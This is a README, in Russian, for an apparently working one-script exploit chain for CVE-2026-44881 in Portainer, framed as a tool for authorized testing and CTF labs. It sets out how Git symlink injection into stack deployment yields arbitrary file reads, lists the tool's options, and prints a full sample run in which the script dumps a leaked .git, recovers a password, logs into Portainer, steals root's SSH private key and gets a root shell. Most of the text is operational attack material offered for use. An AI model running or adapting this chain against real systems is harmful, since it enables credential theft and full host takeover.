
Односкриптовый эксплойт для CVE-2026-44881, который объединяет утечку учётных данных .git, внедрение Git-симлинков в Portainer, произвольное чтение файлов хоста и доступ по SSH для авторизованных тестов.
Эксплойт в виде одного скрипта для CVE-2026-44881 — инъекции символьных ссылок Git в процессе развертывания стеков Portainer, которая позволяет любому аутентифицированному пользователю с низкими привилегиями, имеющему права на создание стеков, читать произвольные файлы, доступные процессу Portainer.
Совет: GHSA-rpgq-m5fp-32wr Затронутые версии: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xИсправлено в:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
Уязвимость представляет собой комбинацию двух примитивов:
go-git v5 преобразует записи дерева Git с режимом 0o120000 (символическая ссылка) в реальные символьные ссылки ОС во время git clone. Единственное заблокированное имя — .gitmodules; любой другой путь, включая docker-compose.yml, который Portainer считает точкой входа стека, может быть символьной ссылкой с произвольным относительным целевым путем.Service.GetFileContent (api/filesystem/filesystem.go) читает файл точки входа стека с помощью os.ReadFile, который прозрачно следует за символьными ссылками ОС. JoinPaths предотвращает ../ во входной строке, но никогда не вызывает filepath.EvalSymlinks, поэтому символьная ссылка, уже присутствующая на диске, благополучно разрешается в свой целевой объект.Portainer обычно работает как root внутри своего контейнера (требуется для сокета Docker), поэтому зона действия примитива чтения — всё, что может видеть контейнер: обычно это /data/portainer.db (BoltDB с хешами паролей всех пользователей и всеми API-токенами), токены сервисных аккаунтов Kubernetes по пути /var/run/secrets/kubernetes.io/serviceaccount/token, секреты Docker Swarm по пути /run/secrets/, а в развертываниях, где файловая система хоста смонтирована с помощью bind-mount для мониторинга, — хостовая /etc/shadow, /root/.ssh/* и так далее.
Этот скрипт выстраивает цепочку:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Автоматически определяет IP атакующего из ip addr и предполагает, что .git доступен по адресу http://target/.git/. Вы можете переопределить любые параметры, не соответствующие вашему окружению:
-t, --target IP цели (обязательно)
-a, --attacker IP атакующего, передаваемый Portainer для git-демона (определяется автоматически)
-l, --leak-path путь к утекшему каталогу .git (по умолчанию: /.git)
-p, --portainer-port HTTP-порт Portainer (по умолчанию: 9000)
-g, --git-port локальный порт git-демона (по умолчанию: 9418)
-w, --workdir рабочий каталог для временных файлов (по умолчанию: mktemp)
-u, --user пропустить перечисление .git; использовать это имя пользователя Portainer
-P, --pass пропустить перечисление .git; использовать этот пароль Portainer
--no-creds-from-git пропустить этап .git и требовать -u/-P
--no-ssh пропустить финальный шаг SSH
-h, --help показать эту справку и выйти
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (с git daemon), sshgit-dumper — pipx install git-dumper. Скрипт включает встроенный минимальный dumb-HTTP-перечислитель, который обрабатывает простой случай loose-объектов, если git-dumper отсутствует, но для любого нетривиального утекшего каталога .git полный инструмент гораздо надёжнее./:/mnt/host:ro, и читает /mnt/host/root/.ssh/id_rsa. Чтобы нацелиться на другие файлы, измените целевую символьную ссылку на этапе 5 (../../../mnt/host/root/.ssh/id_rsa). Portainer с помощью go-billy изолирует абсолютные символьные ссылки относительно рабочего дерева, поэтому целевой путь должен быть относительным..git, действуют только в рамках Portainer — они не дают доступа к SSH или прямого доступа к хосту. Лаборатория настроена так, что единственный способ получить RCE на уровне хоста — через саму уязвимость CVE.{"message":"stack config file is invalid"} — это валидатор жалуется, что SSH-ключ не является корректным YAML. К моменту запуска валидатора клон уже перезаписал рабочее дерево, что нам и нужно.MIT. Только для авторизованного тестирования и использования в CTF / лабораторных работах.